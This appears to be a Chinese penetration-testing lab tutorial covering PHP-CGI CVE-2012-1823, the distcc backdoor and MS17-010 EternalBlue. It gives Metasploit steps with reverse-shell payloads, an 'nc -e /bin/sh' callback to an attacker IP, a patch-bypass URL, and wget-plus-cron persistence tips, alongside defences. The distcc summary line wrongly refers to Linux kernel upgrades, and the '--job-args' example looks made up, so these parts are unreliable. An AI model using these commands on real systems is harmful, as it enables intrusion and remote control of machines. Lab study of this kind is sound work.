- 步骤3:代码执⾏与提权服务器执⾏ system(“id”) ,返回当前⽤户权限信息,攻击者可进⼀步上传WebShell或反弹Shell。
- Metasploit利⽤模块Metasploit提供 exploit/multi/http/php_cgi_arg_injection 模
块,⾃动化⽣成恶意请求并建⽴反向TCP连接。关键配置包括:TARGETURI:漏洞脚本路径(如/cgi.php)。CMD:待执⾏的系统命令(如nc -e /bin/sh 192.168.1.100 4444)。
绕过补丁的变种(CVE-2012-2311)初始补丁通过检测查询字符串⾸字符是否为 - 来阻⽌攻击,
但攻击者可通过插⼊空⽩符(如 %20 )绕过检查,例如:
- http://target/cgi.php?%20-d+allow_url_include=on
后续补丁(PHP 5.3.13/5.4.3)改进为跳过所有空⽩符后再检测⾸字符。
四、影响范围与历史危害
- 受影响版本
- PHP版本:5.0.0 ≤ PHP ≤ 5.3.11,5.4.0 ≤ PHP ≤ 5.4.1。
- 操作系统:所有使⽤PHP-CGI的Linux/Unix及Windows系统(如XAMPP环境)。
- 实际攻击案例
- ⾃动化扫描与蠕⾍传播:漏洞公开后,⼤量僵⼫⽹络利⽤此漏洞感染服务器,⽤于DDoS攻
击或加密货币挖矿。 - APT攻击载体:⾼级威胁组织通过钓⻥邮件投递恶意链接,结合该漏洞渗透企业内⽹。
- ⾃动化扫描与蠕⾍传播:漏洞公开后,⼤量僵⼫⽹络利⽤此漏洞感染服务器,⽤于DDoS攻
- 关联漏洞
- CVE-2024-4577:2024年披露的Windows特定漏洞,利⽤字符编码的“Best Fit”特性绕过CVE-2012-1823的补丁,再次实现RCE。
五、防御与修复⽅案
- 官⽅补丁升级
- 修复版本:PHP 5.3.12、5.4.2及更⾼版本。
- 补丁机制:在 main() 函数中增加参数过滤逻辑,禁⽌将查询字符串解析为命令⾏参数。
- 临时缓解措施
- 禁⽤PHP-CGI模式:改⽤FastCGI(PHP-FPM)或模块化集成模式(如mod_php)。
- 配置Web服务器过滤规则:
- Apache:使⽤
mod_rewrite拦截包含-d、-s等参数的请求。 - Nginx:通过正则表达式匹配并拒绝异常查询字符串。
- Apache:使⽤
- 权限隔离:以⾮特权⽤户(如
[www-data](https://www-data) )运⾏PHP进程,限
制命令执⾏能⼒。
- ⼊侵检测与监控
- ⽇志分析:监控访问⽇志中异常的
?-d或?-s模式。 - ⾏为检测:识别PHP进程执⾏系统命令(如
system()、exec())的异常⾏为。
- ⽇志分析:监控访问⽇志中异常的
CVE-2012-1823漏洞详细原理:
PHP-CGI远程代码执行漏洞(CVE-2012-1823)
CVE-2024-4577 分析与复现
一句话总结:确保PHP CGI配置中禁用-s、-d等危险参数,并更新至已修复的安全版本。
3.7、Distcc后门漏洞(CVE-2004-2678)
CVE-2004-2678是分布式编译⼯具Distcc中存在的⼀个远程代码执⾏(RCE)漏洞,因配置缺陷
导致攻击者可通过⽹络发送恶意编译指令,在⽬标服务器上执⾏任意系统命令。该漏洞被标记为
OSVDB-13378,影响范围包括Xcode 1.5及Distcc 2.x系列版本。
靶场:Metasploitable2-Linux
⽤户名/密码:msfadmin/msfadmin

distcc是谷歌开源的⼀个编译器,将编译任务分解成多个⼦任务
查看靶机IP
在kali启动后执行msfconsole指令,使用exploit/unix/misc/distcc_exec模块,靶机服务启动后,设置payload 为cmd/unix/reverse_perl
msfconsole
use exploit/unix/misc/distcc_exec
# 设置payload
set payload cmd/unix/reverse_perl
# 设置RHOST 为靶机IP
set RHOST 192.168.152.150
# 设置LHOST 为kali的IP
set LHOST 192.168.152.147
# 执行run 运行模块
run

# 查看当前用户的权限
id
# 查看当前所在路径
pwd

# 查看passwd文件的内容
cat /etc/passwd

漏洞原理深度解析
⼀、技术背景:Distcc的功能与架构
- Distcc的核⼼作⽤Distcc是⼀种⽤于分布式编译的开源⼯具,允许将⼤型代码项⽬(如Linux内核)的编译任务分割到多台服务器并⾏处理,从⽽加速构建过程。其默认监听端⼝为3632,客户端通过TCP协议与服务器通信,发送编译指令(如
gcc命令)和代码⽚段。 - 典型⼯作流程
- 开发者在本机运⾏ distccd 服务,配置允许连接的客户端IP范围。
- 编译时,本机将预处理后的代码分发⾄远程服务器编译,最终返回⽬标⽂件。
- 依赖于信任机制:服务端默认信任客户端提交的编译指令。
⼆、漏洞核心原理:配置缺陷与命令注⼊
-
配置不严格的安全边界
- 默认开放访问:早期Distcc版本(如2.x)在默认配置中未对客户端IP进⾏限制,允许任意主机连接⾄3632端⼝。
- 命令执⾏权限:
distccd服务以 ⾼权限⽤户(如root) 运⾏,编译过程中可执⾏系统命
令(如调⽤gcc、make)。
-
恶意编译指令注⼊
攻击者可构造包含Shell命令的编译请求,利⽤Distcc对客户端指令的信任机制,绕过输⼊验证直接执行。例如:distccd --job-args "malicious_command"
服务端解析指令时,未对 --job-args 参数进⾏过滤,导致命令注⼊。 -
漏洞触发场景
- 直接连接:攻击者通过
nc或⾃定义脚本连接⾄⽬标3632端⼝,发送恶意编译指令。 - 反射攻击:在复杂⽹络环境中,攻击者可利⽤中间服务器转发恶意请求,规避IP⿊名单限
制。
- 直接连接:攻击者通过
三、漏洞利⽤路径与渗透场景
-
典型攻击步骤
步骤1:⽬标发现使⽤nmap扫描⽬标⽹络的3632端⼝,识别开放的Distcc服务:- nmap -p 3632 192.168.1.0/24
步骤2:Metasploit⾃动化利⽤启动Metasploit框架,加载
exploit/unix/misc/distcc_exec模块:use exploit/unix/misc/distcc_exec set RHOST <⽬标IP> exploit步骤3:权限验证与提权成功注⼊后,执⾏ id 和 uname -a 验证当前⽤户权限及系统版
本。若服务以root运⾏,可直接获取系统控制权。 -
⾼级利⽤技巧
- 持久化后⻔:通过
wget下载远程脚本并添加定时任务(如cron job)。 - 横向移动:利⽤编译服务器的内⽹信任关系,进⼀步渗透其他节点。
- 持久化后⻔:通过
四、影响范围与历史危害
- 受影响版本
- Distcc版本:2.x系列(如2.1、2.2)及集成了Distcc的Xcode 1.5版本。
- 操作系统:Linux、Unix及macOS系统(依赖Distcc的编译环境)。
- 实际攻击案例
- 僵⼫⽹络组建:攻击者利⽤该漏洞感染服务器,⽤于加密货币挖矿(如⻔罗币)或DDoS攻击。
- 供应链攻击:针对开源项⽬编译服务器的渗透,植⼊恶意代码污染软件包。
- 漏洞局限性
- 依赖服务暴露:需⽬标服务器开放3632端⼝且未配置防⽕墙规则。
- 国内低流⾏性:因分布式编译在国内企业环境中的普及率较低,实际攻击事件较少。
五、防御与修复方案
- 官⽅补丁升级
- 升级⾄Distcc 3.0及以上版本,修复默认配置的开放访问问题。
- 验证命令:
distccd --version,确认版本号≥3.0。
- ⽹络与配置加固
- 访问控制:在
distccd配置⽂件中限制允许连接的客户端IP(如--allow 192.168.1.0/24)。 - 权限降级:以⾮特权⽤户(如
distcc)运⾏服务,限制命令执⾏能⼒。 - 防⽕墙策略:关闭⾮必要的3632端⼝,或限制其仅在内⽹开放。
- 访问控制:在
- ⼊侵检测与响应
- 流量监控:分析3632端⼝的通信数据,检测异常编译指令(如包含
/bin/sh或curl)。 - ⽇志审计:定期检查
/var/log/distccd.log中的编译请求来源和参数。
- 流量监控:分析3632端⼝的通信数据,检测异常编译指令(如包含
一句话总结:更新 Linux 内核至修复版本(2.4.27 或更高,2.6.x 系列需确认补丁)。禁用非必要用户账户的本地访问权限,限制潜在攻击面。部署安全模块(如 SELinux/AppArmor)以限制进程行为。
3.8、Metasploit永恒之蓝(ms17_010)
MS17-010(永恒之蓝)是Windows操作系统SMB协议中⼀个⾼危远程代码执⾏(RCE)漏洞,由
美国国家安全局(NSA)开发并⻓期⽤于渗透测试,后因⿊客组织“Shadow Brokers”于2017年泄
露⽽公开。该漏洞允许攻击者通过SMBv1协议的缺陷在⽬标系统上执⾏任意代码,并传播蠕⾍、
勒索病毒等恶意程序。其CVSS评分为10.0,影响范围覆盖Windows XP⾄Windows 10的多个版
本,成为⽹络安全史上最具破坏⼒的漏洞之⼀。
环境搭建 :windows 7 sp 1
win7的登录账号和密码为root:root
注意:如果nmap扫描不出东西,请登录到win7关闭它的防火墙。
在kali启动后,执行msfconsole指令,使⽤exploit/windows/smb/ms17_010_eternalblue模块。
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
# 设置RHOST 为靶机IP
set RHOST 192.168.152.151
# 设置LHOST 为kali的IP
set LHOST 0.0.0.0
# 设置payload
set payload windows/x64/shell/bind_tcp
# 执行run 运行模块
run

# 查看用户情况
net user

漏洞原理深度解析
⼀、技术背景:SMB协议与漏洞根源
- SMB协议的核心作用SMB(Server Message Block)是Windows系统⽤于实现⽂件共享、打印
机服务和进程间通信的核⼼协议,默认监听445端⼝。其早期版本(SMBv1)因设计复杂且缺
乏安全验证机制,成为攻击重点。 - 漏洞根源:FEALIST结构的内存溢出漏洞的核⼼位于SMB协议处理 FEALIST(File Extended
Attribute List) 的逻辑中,具体涉及 SrvOs2FeaListSizeToNt 函数的内存计算错误。该函
数负责将OS/2格式的FEALIST转换为NT格式,但在计算所需内存⼤⼩时,未正确处理⽤户输
⼊的⻓度参数,导致堆缓冲区溢出。 - 漏洞触发链的七个关键缺陷(基于NSA泄露的Fuzzbunch框架分析):
- Transaction InParameters/InData缓冲区未初始化:允许攻击者写⼊任意数据到未清零的内存区域。
- TRANS_PEEK_NMPIPE⼦命令的MaxParameterCount限制失效:攻击者可发送超⻓参数绕过⻓度检查。
- Transaction响应数据⻓度越界:服务端未验证返回数据是否超过客户端申请的缓冲区容量。
- Transaction secondary请求的时序漏洞:允许攻击者在服务端处理主请求过程中插⼊次级请求,⼲扰内存状态。
- 连续数据包类型混淆:未对分⽚传输的数据包类型进⾏⼀致性校验。
- 文件扩展属性(EA)类型分配错误:错误处理EA类型导致内存指针篡改。
- 内核态与⽤户态交互缺陷:SMB驱动(
srv.sys)未隔离内核与⽤户态内存操作,允许攻击
者通过⽤户态Payload操控内核。
⼆、漏洞触发机制与攻击链
- 内存破坏的核心逻辑
- FEALIST溢出构造:攻击者构造包含畸形FEALIST结构的SMBv1数据包,其中 FeaListLength 字段被设置为远⼤于实际值的恶意数值(如0xFFFF)。
- 堆内存布局操控:通过多次发送SMB请求(Grooming技术),预先在⽬标系统的⾮分⻚内存池中分配可控⼤⼩的内存块,为后续溢出创造稳定条件。
- 溢出覆盖关键指针:溢出的数据覆盖相邻内存块中的SRVNET_BUFFER_HDR结构体,篡改
其pMdl(内存描述符链表指针)或UserBuffer字段,将后续数据写⼊内核态地址空间。
- 控制流劫持与代码执⾏
- Shellcode注⼊:通过覆盖的指针将攻击载荷(如DoublePulsar后⻔)写⼊内核可执⾏区
域(如Hal Heap)。 - APC(异步过程调⽤)触发:利⽤Windows的APC机制,将恶意代码注⼊合法线程的上下
⽂,绕过DEP(数据执⾏保护)和ASLR(地址空间随机化)。 - 权限提升与持久化:以内核权限执⾏Payload,创建系统服务、注册表键或计划任务,实现
持久控制。
- Shellcode注⼊:通过覆盖的指针将攻击载荷(如DoublePulsar后⻔)写⼊内核可执⾏区
三、漏洞利用的典型步骤(基于Metasploit框架)
- 信息收集与漏洞探测
nmap -p 445 --script smb-vuln-ms17-010 <⽬标IP> # 扫描开放445端⼝的主机
use auxiliary/scanner/smb/smb_ms17_010 # Metasploit漏洞确认模块
- 攻击载荷配置
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.1.100 # ⽬标IP
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 攻击机IP # 反向连接载荷
set GroomAllocations 12 # 堆内存预分配次数
exploit
- 攻击链执⾏
- Grooming阶段:发送12次SMB Session Setup请求,在⽬标内存池中预留12个大小可控的缓冲区。
- 溢出阶段:发送携带恶意FEALIST的Transaction请求,触发
SrvOs2FeaListSizeToNt溢出,覆盖SRVNET_BUFFER_HDR结构。 - Payload触发:通过后续SMB请求将Shellcode写⼊内核,利⽤APC注入执⾏。
四、漏洞影响与历史案例
- 受影响系统版本
- Windows客户端:XP、Vista、7、8、10(2017年3⽉前版本)。
- Windows服务器:2003、2008、2008 R2、2012(未安装KB4013389补丁)。
- 重⼤攻击事件
- WannaCry勒索病毒(2017年):利⽤MS17-010在全球感染超20万台设备,造成医疗、交通系统瘫痪。
- NotPetya攻击(2017年):伪装成勒索软件的破坏性恶意程序,针对乌克兰基础设施实施定向打击。
- 加密货币挖矿蠕虫(如Adylkuzz):静默感染设备进⾏⻔罗币挖矿,消耗⼤量计算资源。
- 漏洞的特殊性
- 无需用户交互:仅需目标开放445端⼝,即可实现“⽆接触”攻击。
- 内核级权限:直接以内核模式执⾏代码,绕过所有用户态防护机制。
五、防御与修复方案
-
补丁升级
- 安装微软官⽅补丁KB4013389(MS17-010),重构SMB协议的内存处理逻辑。
验证命令:Get-Hotfix -Id KB4013389# 检查补丁安装状态
- 安装微软官⽅补丁KB4013389(MS17-010),重构SMB协议的内存处理逻辑。
-
网络层防护
- 关闭SMBv1协议:
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol - 防⽕墙策略:阻断⼊站445端⼝的⾮必要访问(企业内网需保留时启⽤IP⽩名单)。
- 关闭SMBv1协议:
-
纵深防御体系
- 启⽤SMB签名:强制所有SMB通信使⽤数字签名,防⽌中间⼈攻击。
- 应⽤控制策略:通过组策略限制未知进程的内核操作权限。
- 内存保护技术:启⽤HVCI(基于虚拟化的安全)和CFG(控制流防护)。
MS17-010漏洞详细原理:免考实验与研究——MS17-010漏洞研究
更多推荐
所有评论(0)